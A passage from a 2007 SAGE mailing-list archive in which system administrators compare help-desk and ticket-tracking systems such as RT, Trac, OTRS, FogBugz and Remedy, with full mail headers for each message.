http://hiveminder.com/

It appears to me that certain software-centric project management
programs would actually fit well in the sys admin/helpdesk world.  The
best fit, from what I've seen, is Fogbugz from Fogcreek.

http://www.fogcreek.com/FogBugz/

I especially like the idea of having a bug reporting applet sitting on
my clients computers that lets them submit errors that they encounter
through annotated screen shots.

Then, of course, there would be Trac, which is even more software
centric than Fogbugz.

http://trac.edgewall.org/

I would probably, however, go with RT over Trac.

Hope that Helps.

Gil


From sage-members-owner@usenix.org Fri Mar  2 09:42:39 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22HgcfI008211
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 09:42:39 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22Hgcgo008209
	for sage-members-0utGoign; Fri, 2 Mar 2007 09:42:38 -0800 (PST)
Received: from mailbox.reptiles.org (rootgecko.reptiles.org@mail.reptiles.org
	[198.96.210.227])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22HgCHA008200
	for <sage-members@sage.org>; Fri, 2 Mar 2007 09:42:23 -0800 (PST)
Received: from gecko.reptiles.org ([198.96.210.227] port=54145)
	by mailbox.reptiles.org([198.96.210.227] port=25)
	via TCP with esmtp (1727 bytes) (sender: <cat@reptiles.org>)
	(ident <nobody> using UNIX) id <m1HNBlk-00DwlhC@mailbox.reptiles.org>
	for <sage-members@sage.org>; Fri, 2 Mar 2007 12:42:12 -0500 (EST)
	(Smail-3.2.0.121 2005-Nov-17 #4 built 2006-Nov-28)
Date: Fri, 2 Mar 2007 12:42:10 -0500 (EST)
From: Cat Okita <cat@reptiles.org>
To: Gilbert Wilson <gilbert@watchhouse.org>
cc: Allan Poindexter <dex@network-science.net>, sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
In-Reply-To: <ce40d2f80703020931k393017actf62119367f9d14c8@mail.gmail.com>
Message-ID: <20070302123658.L16820@gecko.reptiles.org>
References: <82wt1zevjz.fsf@clanspum.net>
	<20070302121029.F16820@gecko.reptiles.org>
	<ce40d2f80703020931k393017actf62119367f9d14c8@mail.gmail.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Fri, 2 Mar 2007, Gilbert Wilson wrote:
> Then, of course, there would be Trac, which is even more software
> centric than Fogbugz.
>
> http://trac.edgewall.org/

Trac's a rather neat hybrid package - a nice combination of software
bug tracking, the only wiki I find vaguely reasonable - and trouble
ticketing.  I'm not sure that I'd try using it as a full on trouble 
ticket system, since that's not really what it was designed towards,
but it does nicely as a light duty trouble ticket system, combined
with documentation and bug (or project) tracking.

cheers!
==========================================================================
"A cat spends her life conflicted between a deep, passionate and profound
desire for fish and an equally deep, passionate and profound desire to
avoid getting wet.  This is the defining metaphor of my life right now."


From sage-members-owner@usenix.org Fri Mar  2 09:48:12 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22HmBMJ008581
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 09:48:11 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22HmAks008580
	for sage-members-0utGoign; Fri, 2 Mar 2007 09:48:11 -0800 (PST)
Received: from handler8.mail.rice.edu (handler8.mail.rice.edu [128.42.58.208])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22HlYN0008568
	for <sage-members@sage.org>; Fri, 2 Mar 2007 09:47:55 -0800 (PST)
Received: from scan2.mail.rice.edu (scan2.mail.rice.edu [128.42.59.161])
	by handler8.mail.rice.edu (Postfix) with ESMTP id 563491DB2B;
	Fri,  2 Mar 2007 11:19:46 -0600 (CST)
Received: from handler8.mail.rice.edu ([128.42.59.208])
	by scan2.mail.rice.edu (scan2.mail.rice.edu [128.42.59.161])
	(amavisd-new, port 10024)
	with ESMTP id 32309-02; Fri,  2 Mar 2007 11:19:45 -0600 (CST)
Received: from [192.168.1.103] (netscaler2.rice.edu [128.42.206.5])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by handler8.mail.rice.edu (Postfix) with ESMTP id 876051DB28;
	Fri,  2 Mar 2007 11:19:45 -0600 (CST)
Message-ID: <45E85CB6.5010508@rice.edu>
Date: Fri, 02 Mar 2007 11:19:50 -0600
From: Roger Moye <moye@rice.edu>
Reply-To: moye@rice.edu
User-Agent: Thunderbird 1.5.0.9 (X11/20061206)
MIME-Version: 1.0
To: dex@network-science.net
CC: sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
References: <82wt1zevjz.fsf@clanspum.net>
In-Reply-To: <82wt1zevjz.fsf@clanspum.net>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Virus-Scanned: by amavis-2.2.1 at scan2.mail.rice.edu
X-DCC--Metrics: voyager 1356; Body=0 Fuz1=0 Fuz2=0
Sender: owner-sage-members@usenix.org
Precedence: bulk

We also use Request Tracker.  It has some shortcomings but on balance 
I'd say my experience with it has been favorable.  Ultimately it depends 
on your work environment and what type of information you need to track.

-Roger

-- 
=======================================
Roger Moye
Linux Cluster Administrator
Rice University
Dept. of Academic and Research Computing
Research Computing Support Group
(713) 348-5756
moye@rice.edu




From sage-members-owner@usenix.org Fri Mar  2 09:58:01 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22HvdKO009073
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 09:57:39 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22Hvcv6009072
	for sage-members-0utGoign; Fri, 2 Mar 2007 09:57:38 -0800 (PST)
Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.247])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22Hv1R2009060
	for <sage-members@sage.org>; Fri, 2 Mar 2007 09:57:12 -0800 (PST)
Received: by an-out-0708.google.com with SMTP id d23so730671and
	for <sage-members@sage.org>; Fri, 02 Mar 2007 09:57:01 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=mQIdtOw5aHC1MF0CjvEumaBzjBhxUXY6LIFRDag4ViZF0Aqn2hSB+dVoitJCGVpoSI+BRq2NLpJhsI7lkH8Fmb9aTeyLHOedsYtpNRpIhRBzMfVy8wPwCJg6o7CmX1tkVZjhlcYhVgr1RhOry3oaOXLmkOKptu1WjuhKHTfuHWE=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=KGXX2AOOwuCkYqdMDxSgqQSjXVt5Cgeca9ap6+n5nBf7ROflGEhExyhEoipdRM4lndjiRqk65/Iq7kHGR5lRNRE9JkBb+Oi//MnXu7SNzdFfv1fVExyL+zgRVkGHyvCllAHHEgAowq880cOFQGqgXVBg3qAaiHz6CBggVF/pV1E=
Received: by 10.100.133.9 with SMTP id g9mr703934and.1172858221512;
	Fri, 02 Mar 2007 09:57:01 -0800 (PST)
Received: by 10.100.13.1 with HTTP; Fri, 2 Mar 2007 09:57:01 -0800 (PST)
Message-ID: <fc6bb850703020957k51113ed5sd5b5a1c2faa87a6c@mail.gmail.com>
Date: Fri, 2 Mar 2007 11:57:01 -0600
From: "Nathan Hruby" <nhruby@uga.edu>
To: "Cat Okita" <cat@reptiles.org>
Subject: Re: [SAGE] work ticket systems
Cc: "Allan Poindexter" <dex@network-science.net>, sage-members@sage.org
In-Reply-To: <20070302121029.F16820@gecko.reptiles.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <82wt1zevjz.fsf@clanspum.net>
	<20070302121029.F16820@gecko.reptiles.org>
X-Google-Sender-Auth: d99031c47e2cba59
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 3/2/07, Cat Okita <cat@reptiles.org> wrote:
> On Fri, 2 Mar 2007, Allan Poindexter wrote:
> > I have used both "req" (Remy Evard's system out of NEU) and "wreq".
> > To my knowledge neither of these systems have had active support  in
> > years.  I am about to install a system at a new site.  Does anyone
> > want to recommend a system they have used?
>
> Heh.  That's one way to start a religious war :)

Only if you're an emacs user ;-)

> It depends on what you want to do, and how much you want to spend, as
> always.  I continue to be fond of RT (Request Tracker - http://www.bestpractical.com/rt).

RT does suck less than a lot of things.  Someone here a long time ago
mentioned Roundup as simpler RT alternative:
http://roundup.sourceforge.net/

I've also used BMC Remedy, but the caveat that you need to have a
dedicated Remedy person really is true.  If you're looking for cheap
and easy Remedy ain't it (OTOH, if you need every feature under the
sun, Remedy may be the only game in town :)

I've also seen a few people say good things about webhelpdesk.com
(they have a hosted service as well as a downloadable product you can
install IIRC).

FWIW, this thread may also prove useful:
http://lopsa.org/pipermail/tech/2005-November/thread.html#14

Thanks,

-n
-- 
-------------------------------------------
nathan hruby <nhruby@gmail.com>
metaphysically wrinkle-free
-------------------------------------------


From sage-members-owner@usenix.org Fri Mar  2 10:01:10 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22I19dt009453
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 10:01:09 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22I19Td009451
	for sage-members-0utGoign; Fri, 2 Mar 2007 10:01:09 -0800 (PST)
Received: from slick.sigje.org (slick.sigje.org [64.125.64.90])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22I0llW009348
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Fri, 2 Mar 2007 10:00:58 -0800 (PST)
Received: from sigje (helo=localhost)
	by slick.sigje.org with local-esmtp (Exim 4.66 (FreeBSD))
	(envelope-from <sigje@slick.sigje.org>)
	id 1HNBTV-000Gii-9t; Fri, 02 Mar 2007 09:23:21 -0800
Date: Fri, 2 Mar 2007 09:23:21 -0800 (PST)
From: Jennifer Davis <sigje@sigje.org>
To: Allan Poindexter <dex@network-science.net>
cc: sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
In-Reply-To: <82wt1zevjz.fsf@clanspum.net>
Message-ID: <20070302092208.O64262@slick.sigje.org>
References: <82wt1zevjz.fsf@clanspum.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC--Metrics: voyager 1356; Body=0 Fuz1=0 Fuz2=0
Sender: owner-sage-members@usenix.org
Precedence: bulk

Hey Allan,

Before deciding on a ticket system, it might be a really good idea to 
figure out your work flow and what you need out of a ticket system.  You 
probably have already done this, but depending on your needs different 
ticket systems might be more useful.  Open source wise, I love RT :)

Jennifer


From sage-members-owner@usenix.org Fri Mar  2 10:20:47 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22IKbOx010336
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 10:20:38 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22IKbQW010335
	for sage-members-0utGoign; Fri, 2 Mar 2007 10:20:37 -0800 (PST)
Received: from Mycroft.westnet.com (Mycroft.westnet.com [216.187.52.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22IKGPh010306
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@sage.org>; Fri, 2 Mar 2007 10:20:22 -0800 (PST)
Received: from jfsnew.stoffel.org (68-118-228-211.dhcp.oxfr.ma.charter.com
	[68.118.228.211]) (authenticated bits=0)
	by Mycroft.westnet.com (8.13.8/8.13.8) with ESMTP id l22I5agh027282
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 2 Mar 2007 13:05:39 -0500 (EST)
Received: by jfsnew.stoffel.org (Postfix, from userid 1000)
	id CE8B84EEF9; Fri,  2 Mar 2007 13:05:36 -0500 (EST)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <17896.26480.593629.626841@jfsnew.stoffel.org>
Date: Fri, 2 Mar 2007 13:05:36 -0500
From: "John Stoffel" <john@stoffel.org>
To: dex@network-science.net
Cc: sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
In-Reply-To: <82wt1zevjz.fsf@clanspum.net>
References: <82wt1zevjz.fsf@clanspum.net>
X-Mailer: VM 7.19 under Emacs 21.4.1
X-Virus-Scanned: ClamAV 0.90/2702/Fri Mar 2 10:04:51 2007 on
	Mycroft.westnet.com
X-Virus-Status: Clean
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


Allan> I have used both "req" (Remy Evard's system out of NEU) and
Allan> "wreq".  To my knowledge neither of these systems have had
Allan> active support in years.  I am about to install a system at a
Allan> new site.  Does anyone want to recommend a system they have
Allan> used?

Stay far away from GWI and Remedy.  Far far far away...

I really liked 'WebRT', which is now just 'RT' from
http://www.bestpractical.com and upto version 3.x (or maybe higher
now).  

Another really interesting product is OTRS, which is from Germany.
Looks good.

The big complaint I have about all of these is the lack of a decent
CLI interface to take/give/resolve tickets.  WebRT 1.0.7 (still
available on the bestpractical web site) had a great CLI tool.  That
and email was all I needed to handle tickets efficiently.  

Using a web browser just slows things down, esp for people who use the
tool day in and day out.  You need to optimize for both the new user,
but also for the power user, since inefficiencies in interface add up
much more quickly for the power user who works with a tool all the
time.

John


From sage-members-owner@usenix.org Fri Mar  2 10:42:51 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22IgpZx011295
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 10:42:51 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22IgpMm011294
	for sage-members-0utGoign; Fri, 2 Mar 2007 10:42:51 -0800 (PST)
Received: from st01.samurai.com (st01.samurai.com [205.207.28.71])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22IgMWr011283
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Fri, 2 Mar 2007 10:42:35 -0800 (PST)
Received: from [205.189.93.240] (helo=[192.168.205.59])
	by st01.samurai.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.62)
	(envelope-from <bryanf@samurai.com>) id 1HNCht-000O3L-0t
	for sage-members@sage.org; Fri, 02 Mar 2007 13:42:17 -0500
Message-ID: <45E87008.2030607@samurai.com>
Date: Fri, 02 Mar 2007 13:42:16 -0500
From: Bryan Fullerton <bryanf@samurai.com>
User-Agent: Thunderbird 1.5.0.9 (X11/20070212)
MIME-Version: 1.0
To: sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
References: <82wt1zevjz.fsf@clanspum.net>
	<17896.26480.593629.626841@jfsnew.stoffel.org>
In-Reply-To: <17896.26480.593629.626841@jfsnew.stoffel.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Antivirus-Scanner: Clean mail though you should still use an Antivirus
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

John Stoffel wrote:
> Another really interesting product is OTRS, which is from Germany.
> Looks good.
>   

I've used OTRS since 2002 for my small hosting company. I like it enough 
that I haven't looked for alternatives in 5 years, and contribute back 
as much time to the project as I can.

> Using a web browser just slows things down, esp for people who use the
> tool day in and day out.  You need to optimize for both the new user,
> but also for the power user, since inefficiencies in interface add up
> much more quickly for the power user who works with a tool all the
> time.
>   

Perhaps they assume that a power user could (would want to?) write their 
own scripts, given the examples provided with the system.

Bryan



From sage-members-owner@usenix.org Fri Mar  2 10:50:28 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22IoSoW011701
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 10:50:28 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22IoSau011700
	for sage-members-0utGoign; Fri, 2 Mar 2007 10:50:28 -0800 (PST)
Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.239])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22IoAPG011690
	for <sage-members@sage.org>; Fri, 2 Mar 2007 10:50:20 -0800 (PST)
Received: by wx-out-0506.google.com with SMTP id i27so895950wxd
	for <sage-members@sage.org>; Fri, 02 Mar 2007 10:50:07 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=tZYGoo2qnQjYmDxQRWnb/e0QlfHOa5ksc9BaEc/H9bOWioQsb98wLz6vLCJY9fnBPy9O2FdptnEawcBt/NkvQ/HmR8OFtldM48WJ7T5mo7ODdxnLSDHtxaMnl4pxgOgprz1dyTEkRX5V/pi6LR0ndUQsTWpETVQAj+l0S034NH4=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=WSzl/N+aqzJhG315yIl4Lof5YpgnbaEBwKeXetyt/z57EF9/td5teBCzQtGhjtoHM7AQMYbcvHF13xNr2BKyKE61aJuK/eZvqMb6d7PogRyNMwkFcu+3JH5WCP3jmyC/pBjC5hSIxOG2rql5ZDk/ZWruP97Ev9RlpJyDsES17ow=
Received: by 10.114.94.1 with SMTP id r1mr365957wab.1172860994532;
	Fri, 02 Mar 2007 10:43:14 -0800 (PST)
Received: by 10.114.156.17 with HTTP; Fri, 2 Mar 2007 10:43:14 -0800 (PST)
Message-ID: <b5e09e920703021043r79bfa7ebn938475849c66e8a4@mail.gmail.com>
Date: Fri, 2 Mar 2007 13:43:14 -0500
From: "Meenoo Shivdasani" <meenoo@gmail.com>
To: dex@network-science.net
Subject: Re: [SAGE] work ticket systems
Cc: sage-members@sage.org
In-Reply-To: <82wt1zevjz.fsf@clanspum.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <82wt1zevjz.fsf@clanspum.net>
X-DCC--Metrics: voyager 1356; Body=2 Fuz1=2 Fuz2=2 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 3/2/07, Allan Poindexter <dex@network-science.net> wrote:
> I have used both "req" (Remy Evard's system out of NEU) and "wreq".
> To my knowledge neither of these systems have had active support  in
> years.  I am about to install a system at a new site.  Does anyone
> want to recommend a system they have used?

Depends on what you need.  RT is good for setting up intricate systems
with fine grained permissions, auto-responders, escalations, etc.
With that complexity comes overhead -- it's not as easy to set up,
configure and use as some other systems.

Trac is good if you want/need to do integration with a wiki and
subversion and don't need the full-on capacities of a more advanced
ticketing system.

M


From sage-members-owner@usenix.org Fri Mar  2 10:52:09 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22Iq2FU011848
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 10:52:03 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22Iq2mr011847
	for sage-members-0utGoign; Fri, 2 Mar 2007 10:52:02 -0800 (PST)
Received: from ettin.watson-wilson.ca (watson-wilson.ca [216.138.221.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22IpPX5011813
	for <sage-members@sage.org>; Fri, 2 Mar 2007 10:51:35 -0800 (PST)
Received: by ettin.watson-wilson.ca (Postfix, from userid 1000)
	id 5133E3ADEB; Fri,  2 Mar 2007 13:51:16 -0500 (EST)
Date: Fri, 2 Mar 2007 13:51:16 -0500
From: Neil Watson <sage@watson-wilson.ca>
To: sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
Message-ID: <20070302185116.GB29618@watson-wilson.ca>
References: <82wt1zevjz.fsf@clanspum.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Disposition: inline
In-Reply-To: <82wt1zevjz.fsf@clanspum.net>
X-Message-Flag: Outlook is a dangerous and insecure program (Magic 8 ball:
	Outlook not good)
X-Accepted-File-Formats: No proprietary Microsoft Office files please
User-Agent: Mutt/1.5.13 (2006-08-11)
X-watson-wilson.ca-MailScanner: Not scanned: please contact your Internet
	E-Mail Service Provider for details
X-watson-wilson.ca-MailScanner-From: sage@watson-wilson.ca
X-Spam-Status: No
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

I've used RT in the past.  It did not scale well then but, I think that
has been fixed by now.  The interface was pretty good.  As was pointed
out a CLI would really rock.  I would stay away from vendor 'Enterprise'
systems.  I fail to see what a Vendor can offer that the free systems
cannot.  Ticket tracking is a very easy application.  

Ultimately you need to create a prioritized list of features and
evaluate all tools even proprietary ones.

-- 
Neil Watson             | Debian Linux
System Administrator    | Uptime 3 days
http://watson-wilson.ca


From sage-members-owner@usenix.org Fri Mar  2 10:53:48 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22IrlD8012165
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 10:53:48 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22IrlmT012164
	for sage-members-0utGoign; Fri, 2 Mar 2007 10:53:47 -0800 (PST)
Received: from ettin.watson-wilson.ca (watson-wilson.ca [216.138.221.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22IreuA012125
	for <sage-members@sage.org>; Fri, 2 Mar 2007 10:53:45 -0800 (PST)
Received: by ettin.watson-wilson.ca (Postfix, from userid 1000)
	id 772D43ADEB; Fri,  2 Mar 2007 13:53:32 -0500 (EST)
Date: Fri, 2 Mar 2007 13:53:32 -0500
From: Neil Watson <sage@watson-wilson.ca>
To: sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
Message-ID: <20070302185332.GC29618@watson-wilson.ca>
References: <82wt1zevjz.fsf@clanspum.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Disposition: inline
In-Reply-To: <82wt1zevjz.fsf@clanspum.net>
X-Message-Flag: Outlook is a dangerous and insecure program (Magic 8 ball:
	Outlook not good)
X-Accepted-File-Formats: No proprietary Microsoft Office files please
User-Agent: Mutt/1.5.13 (2006-08-11)
X-watson-wilson.ca-MailScanner: Not scanned: please contact your Internet
	E-Mail Service Provider for details
X-watson-wilson.ca-MailScanner-From: sage@watson-wilson.ca
X-Spam-Status: No
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

I've used a system call Incident Monitor.  It is awful.  However, that
could just be this particular install.  Has anyone else used it?

-- 
Neil Watson             | Debian Linux
System Administrator    | Uptime 3 days
http://watson-wilson.ca


From sage-members-owner@usenix.org Fri Mar  2 11:00:16 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22J0F4r012650
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 11:00:15 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22J0FS7012649
	for sage-members-0utGoign; Fri, 2 Mar 2007 11:00:15 -0800 (PST)
Received: from mailbox.reptiles.org (rootgecko.reptiles.org@mail.reptiles.org
	[198.96.210.227])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22Ixnnd012633
	for <sage-members@sage.org>; Fri, 2 Mar 2007 10:59:59 -0800 (PST)
Received: from mailbox.reptiles.org ([198.96.210.227] port=49474)
	by mailbox.reptiles.org([198.96.210.227] port=25)
	via TCP with esmtp (2076 bytes) (sender: <cat@reptiles.org>)
	(ident <nobody> using UNIX) id <m1HNCyr-00DwlcC@mailbox.reptiles.org>
	for <sage-members@sage.org>; Fri, 2 Mar 2007 13:59:49 -0500 (EST)
	(Smail-3.2.0.121 2005-Nov-17 #4 built 2006-Nov-28)
Date: Fri, 2 Mar 2007 13:59:48 -0500 (EST)
From: Cat Okita <cat@reptiles.org>
To: Neil Watson <sage@watson-wilson.ca>
cc: sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
In-Reply-To: <20070302185116.GB29618@watson-wilson.ca>
Message-ID: <20070302135433.C16820@gecko.reptiles.org>
References: <82wt1zevjz.fsf@clanspum.net>
	<20070302185116.GB29618@watson-wilson.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Fri, 2 Mar 2007, Neil Watson wrote:
> I've used RT in the past.  It did not scale well then but, I think that
> has been fixed by now.  The interface was pretty good.  As was pointed
> out a CLI would really rock.  I would stay away from vendor 'Enterprise'
> systems.  I fail to see what a Vendor can offer that the free systems
> cannot.  Ticket tracking is a very easy application.

With all due respect, anybody who says "Ticket tracking is a very easy
application" has been drinking or smoking something I'd like a cut of.

Ticket tracking is one of those things that seems deceptively simple, and
can actually be fairly simple when you're only dealing with a small
group of people and issues.  An enterprise system needs to be able to
handle the differing requirements of a wide variety of groups, high
performance demands, and niceties like redundancy, backup, high 
availability, multiple languages...

I may not be especially fond of Remedy, OVSD, or Clarify, but they are
solving problems for enough customers to keep the companies doing quite
well.

cheers!
==========================================================================
"A cat spends her life conflicted between a deep, passionate and profound
desire for fish and an equally deep, passionate and profound desire to
avoid getting wet.  This is the defining metaphor of my life right now."


From sage-members-owner@usenix.org Fri Mar  2 11:16:03 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22JFoCK013293
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 11:16:00 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22JFoAI013292
	for sage-members-0utGoign; Fri, 2 Mar 2007 11:15:50 -0800 (PST)
Received: from ettin.watson-wilson.ca (watson-wilson.ca [216.138.221.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22JFNag013271
	for <sage-members@sage.org>; Fri, 2 Mar 2007 11:15:28 -0800 (PST)
Received: by ettin.watson-wilson.ca (Postfix, from userid 1000)
	id 4827B3ADEB; Fri,  2 Mar 2007 14:15:17 -0500 (EST)
Date: Fri, 2 Mar 2007 14:15:17 -0500
From: Neil Watson <sage@watson-wilson.ca>
To: sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
Message-ID: <20070302191517.GD29618@watson-wilson.ca>
References: <82wt1zevjz.fsf@clanspum.net>
	<20070302185116.GB29618@watson-wilson.ca>
	<20070302135433.C16820@gecko.reptiles.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Disposition: inline
In-Reply-To: <20070302135433.C16820@gecko.reptiles.org>
X-Message-Flag: Outlook is a dangerous and insecure program (Magic 8 ball:
	Outlook not good)
X-Accepted-File-Formats: No proprietary Microsoft Office files please
User-Agent: Mutt/1.5.13 (2006-08-11)
X-watson-wilson.ca-MailScanner: Not scanned: please contact your Internet
	E-Mail Service Provider for details
X-watson-wilson.ca-MailScanner-From: sage@watson-wilson.ca
X-Spam-Status: No
